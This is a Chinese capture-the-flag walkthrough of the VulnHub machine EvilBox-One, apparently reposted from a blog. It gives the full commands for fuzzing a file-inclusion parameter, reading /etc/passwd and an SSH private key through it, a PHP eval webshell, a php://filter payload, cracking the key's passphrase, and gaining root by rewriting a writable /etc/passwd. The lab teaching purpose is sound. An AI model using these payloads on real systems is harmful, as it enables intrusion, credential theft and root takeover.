靶機介紹
1)靶機地址:https://download.vulnhub.com/evilbox/EvilBox---One.ova
2)靶機難度:低→中
3)打靶目標: 取得 root 權限 + 2 Flag
4)涉及攻擊方法:主機發現、網路掃描、強制訪問、引數爆破、檔案包含、PHP封裝器、任意檔案讀取、SSH公鑰登錄、離線密碼破解、系統權限漏洞利用
5)該靶機的邊界突破和提權方法非常具有新意,與之前的打靶程序非常不同,可以很好的擴展滲透思路和補強個人能力的短版,對于初學者學習更加有益,
打靶程序
1)主機發現:本次通過fping命令進行主機發現

2)全埠掃描:掃描目標主機開放的埠

3)對發現的埠進行服務版本掃描(-A 相當于-sV和-sC的組合)

4)先對22埠進行了簡單的暴力破解,無法破解出ssh服務的root密碼,再通過瀏覽器訪問目標主機的80埠:首頁面只是一個簡單的頁面,無任何漏洞
瀏覽器:http://192.168.56.113/

8)對網站根目錄進行路徑掃描
①通過gobuster工具對網站根目錄進行路徑爬取(gobuster是通過go語言寫的路徑掃描工具,速度快,其中-w表示指定字典,-x表示掃描的檔案型別):掃描完成后發現了rebots.txt檔案和secret
# gobuster dir -u "http://192.168.56.113" -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,html,jsp

②根據掃描出的路徑,重新構建URL路徑,再次進行掃描:發現在secret路徑下,存在evil.php檔案
# gobuster dir -u "http://192.168.56.113/secret" -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,html,jsp

9)在瀏覽器訪問發現的evil.php發現頁面顯示空白
瀏覽器:
http://192.168.56.113/secret
http://192.168.56.113/secret/evil.php
說明:某些頁面方式時,需要在URL中添加引數才能正常訪問,當某個頁面沒有暴漏出存在哪些引數時,需要對該頁面進行引數的爆破,只有知道引數才能對引數進行后續的注入等攻擊
10)對URL的引數名和引數值進行爆破,可以選擇Burp工具的Intruder模塊,也可使用如下工具
①先手動撰寫一個引數值字典,使其和引數名字典進行匹配
# cat vul.txt
1
2
3
a
b
c
'
"
(
<
,
;
/
%
②使用工具對引數進行暴力破解:發現爆破失敗
# ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:PARAM -w vul.txt:vul -u http://192.168.56.113/secret/evil.php?PARAM=vul -fs 0
-w 表示掛載的字典(字典包含大量web程式引數名稱)
-fs 0表示過濾掉空頁面的內容

③由于只有一個字典了,將不設定引數名,引數名可用FUZZ進行替換,表示模糊測驗,接下來工具將使用字典中的每一個關鍵字進行替換FUZZ,判斷是否存在一個引數可以做檔案包含參考(通過前面掃描可知 ../index.html是一定存在的)
# ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://192.168.56.113/secret/evil.php?FUZZ=../index.html -fs 0
通過掃描,發現存在一個command引數

④在瀏覽器通過訪問,進行確定command引數確實存在
http://192.168.56.113/secret/evil.php?command=../index.html
http://192.168.56.113/secret/evil.php?command=../../../../../../etc/passwd

發現確實存在檔案包含漏洞

11)在kali上構造webshell,通過檔案包含,嘗試讓其參考kali上的一句話木馬檔案,如果 可以遠程的完成檔案包含,則目標主機就可以把一句話木馬包含應用到當前頁面中,從而完成命令執行的操作
①kali上構建一句話木馬
# cat a.php
<?php @eval($_POST['cmd']);?>
#systemctl start apache2
# curl -I http://192.168.56.103/a.php

②在瀏覽器進行測驗,是否支持遠程檔案包含:頁面回顯空白,不支持遠程檔案包含
http://192.168.56.113/secret/evil.php?command=http://192.168.56.103/a.php?cmd=ls
http://192.168.56.113/secret/evil.php?command=http://192.168.56.103/a.php?cmd=id
12)嘗試使用PHP的封裝器方式(協議型別)
①利用filter封裝器功能,嘗試將目標服務器上的檔案通過編碼轉化的方式讀取出來,實作任意檔案讀取的效果
把eval.php內容以base64的編碼型別的方式讀取出來
http://192.168.56.113/secret/evil.php?command=php://filter/convert.base64-encode/resource=evil.php

②將回顯的base64編碼,利用cyberchef的From base64功能,將編碼還原成代碼(也可使用Burp的Decode功能):通過代碼審計發現,確實存在檔案包含漏洞
<?php
$filename = $_GET['command'];
include($filename);
?>

③嘗試通過write命令,向目標服務器去寫入一些內容,為保證寫入內容的成功,先將寫入的內容轉化成base64編碼,在使用decode方法,將decode后的內容寫入到一個新的檔案
kali主機:生成base64代碼
# echo 123 | base64
MTIzCg==
瀏覽器:
http://192.168.56.113/secret/evil.php?command=php://filter/write=convert.base64-decode/resource=test.php&txt=MTIzCg==
④在瀏覽器訪問剛才寫入的檔案test.txt發現不存在,所以上述寫入操作是失敗的,由此可知當前靶機的站點目錄下是沒有寫入權限的
13)通過之前本地檔案包含,查看到的/etc/passwd檔案,發現作業系統存在一個mowree用戶,再加上目標靶機開放22埠,可以嘗試使用mowree用戶進行登錄
# ssh [email protected] -v #-v表示顯示登錄程序中的詳細資訊
發現目標靶機支持publickey,password兩種身份認證(公鑰身份認證、密碼身份認證)

猜想:如果目標系統支持某個賬號使用公鑰的方式登錄,則在這個登錄賬號的主目錄下就存在目標服務器的公鑰
14)通過檔案包含漏洞,對mowree用戶的家目錄進行訪問:發現確實存在authorized_keys檔案,可以發現該公鑰是mowree用戶的公鑰,且公鑰加密生成的演算法是rsa,目標主機為EvilBoxOne
①查看公鑰
http://192.168.56.113/secret/evil.php?command=../../../../../../home/mowree/.ssh/authorized_keys

②查看私鑰
http://192.168.56.113/secret/evil.php?command=../../../../../../home/mowree/.ssh/id_rsa

③將私鑰檔案保存至id_rsa,并設定權限
# vi id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,9FB14B3F3D04E90E
uuQm2CFIe/eZT5pNyQ6+K1Uap/FYWcsEklzONt+x4AO6FmjFmR8RUpwMHurmbRC6
hqyoiv8vgpQgQRPYMzJ3QgS9kUCGdgC5+cXlNCST/GKQOS4QMQMUTacjZZ8EJzoe
o7+7tCB8Zk/sW7b8c3m4Cz0CmE5mut8ZyuTnB0SAlGAQfZjqsldugHjZ1t17mldb
+gzWGBUmKTOLO/gcuAZC+Tj+BoGkb2gneiMA85oJX6y/dqq4Ir10Qom+0tOFsuot
b7A9XTubgElslUEm8fGW64kX3x3LtXRsoR12n+krZ6T+IOTzThMWExR1Wxp4Ub/k
HtXTzdvDQBbgBf4h08qyCOxGEaVZHKaV/ynGnOv0zhlZ+z163SjppVPK07H4bdLg
9SC1omYunvJgunMS0ATC8uAWzoQ5Iz5ka0h+NOofUrVtfJZ/OnhtMKW+M948EgnY
zh7Ffq1KlMjZHxnIS3bdcl4MFV0F3Hpx+iDukvyfeeWKuoeUuvzNfVKVPZKqyaJu
rRqnxYW/fzdJm+8XViMQccgQAaZ+Zb2rVW0gyifsEigxShdaT5PGdJFKKVLS+bD1
tHBy6UOhKCn3H8edtXwvZN+9PDGDzUcEpr9xYCLkmH+hcr06ypUtlu9UrePLh/Xs
94KATK4joOIW7O8GnPdKBiI+3Hk0qakL1kyYQVBtMjKTyEM8yRcssGZr/MdVnYWm
VD5pEdAybKBfBG/xVu2CR378BRKzlJkiyqRjXQLoFMVDz3I30RpjbpfYQs2Dm2M7
Mb26wNQW4ff7qe30K/Ixrm7MfkJPzueQlSi94IHXaPvl4vyCoPLW89JzsNDsvG8P
hrkWRpPIwpzKdtMPwQbkPu4ykqgKkYYRmVlfX8oeis3C1hCjqvp3Lth0QDI+7Shr
Fb5w0n0qfDT4o03U1Pun2iqdI4M+iDZUF4S0BD3xA/zp+d98NnGlRqMmJK+StmqR
IIk3DRRkvMxxCm12g2DotRUgT2+mgaZ3nq55eqzXRh0U1P5QfhO+V8WzbVzhP6+R
MtqgW1L0iAgB4CnTIud6DpXQtR9l//9alrXa+4nWcDW2GoKjljxOKNK8jXs58SnS
62LrvcNZVokZjql8Xi7xL0XbEk0gtpItLtX7xAHLFTVZt4UH6csOcwq5vvJAGh69
Q/ikz5XmyQ+wDwQEQDzNeOj9zBh1+1zrdmt0m7hI5WnIJakEM2vqCqluN5CEs4u8
p1ia+meL0JVlLobfnUgxi3Qzm9SF2pifQdePVU4GXGhIOBUf34bts0iEIDf+qx2C
pwxoAe1tMmInlZfR2sKVlIeHIBfHq/hPf2PHvU0cpz7MzfY36x9ufZc5MH2JDT8X
KREAJ3S0pMplP/ZcXjRLOlESQXeUQ2yvb61m+zphg0QjWH131gnaBIhVIj1nLnTa
i99+vYdwe8+8nJq4/WXhkN+VTYXndET2H0fFNTFAqbk2HGy6+6qS/4Q6DVVxTHdp
4Dg2QRnRTjp74dQ1NZ7juucvW7DBFE+CK80dkrr9yFyybVUqBwHrmmQVFGLkS2I/
8kOVjIjFKkGQ4rNRWKVoo/HaRoI/f2G6tbEiOVclUMT8iutAg8S4VA==
-----END RSA PRIVATE KEY-----
─# chmod 600 id_rsa
④通過私鑰嘗試進行登錄:發現仍然需要屬于一個passphrase密碼,該密碼為公私鑰對生成時的所有者,對私鑰又加了一層密碼,只有知道這個密碼,才能解開這個私鑰
# ssh [email protected] -i id_rsa

15)將加密私鑰的密碼破解出來
①利用離線密碼爆破工具john將id_rsa轉化成john工具可以識別的檔案格式
# cd /usr/share/john/
# ./ssh2john.py /var/www/html/id_rsa > /root/hash

②指定密碼字典,對id_rsa轉換后的hash檔案進行爆破:破解出了私鑰檔案加密密碼為unicorn
# cp /usr/share/wordlists/rockyou.txt.gz /root
# gunzip rockyou.txt.gz
# john /root/hash --wordlist=/root/rockyou.txt

16)再次使用ssh進行登錄:成功登陸至目標服務器,突破邊界
# ssh [email protected] -i id_rsa

17)獲取到第一個flag

18)提權
①先查看有無定時任務:無
②再查看有無sudo權限:無
③查看是否具有內核漏洞:無
④查看是否具有suid的檔案:無
mowree@EvilBoxOne:~$ crontab -l
no crontab for mowree
mowree@EvilBoxOne:~$ sudo -l
-bash: sudo: orden no encontrada
mowree@EvilBoxOne:~$ uname -a
Linux EvilBoxOne 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64 GNU/Linux
mowree@EvilBoxOne:~$ find / -perm /4000 2>/dev/null #將報錯資訊行程重定向
mowree@EvilBoxOne:~$ find / -perm /2000 2>/dev/null

⑤查看當前賬號具有寫權限的檔案:通過查看發現/etc/passwd具有寫權限
mowree@EvilBoxOne:~$ find / -writable 2>/dev/null |grep -v proc
mowree@EvilBoxOne:~$ ls -l /etc/passwd
-rw-rw-rw- 1 root root 1398 ago 16 2021 /etc/passwd

19)修改/etc/passwd檔案中root用戶的密碼,使其可以直接登錄
①通過演算法,簡單生成一個加密之后的密碼
mowree@EvilBoxOne:~$ openssl passwd -1 #-1表示一種演算法
Password:
Verifying - Password:
$1$r2zpoXyx$pRjqHOoQUmQ3C4T8knS3K0

②將/etc/passwd檔案中的root用戶密碼修改為$1$r2zpoXyx$pRjqHOoQUmQ3C4T8knS3K0
mowree@EvilBoxOne:~$ cat /etc/passwd
root:$1$r2zpoXyx$pRjqHOoQUmQ3C4T8knS3K0:0:0:root:/root:/bin/bash
③通過su直接切換至root用戶:獲取到flag
mowree@EvilBoxOne:~$ su - root

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/539922.html
標籤:其他
上一篇:Jenkins實踐指南-05-Jenkins pipeline 語法01
下一篇:淺析JWT Attack
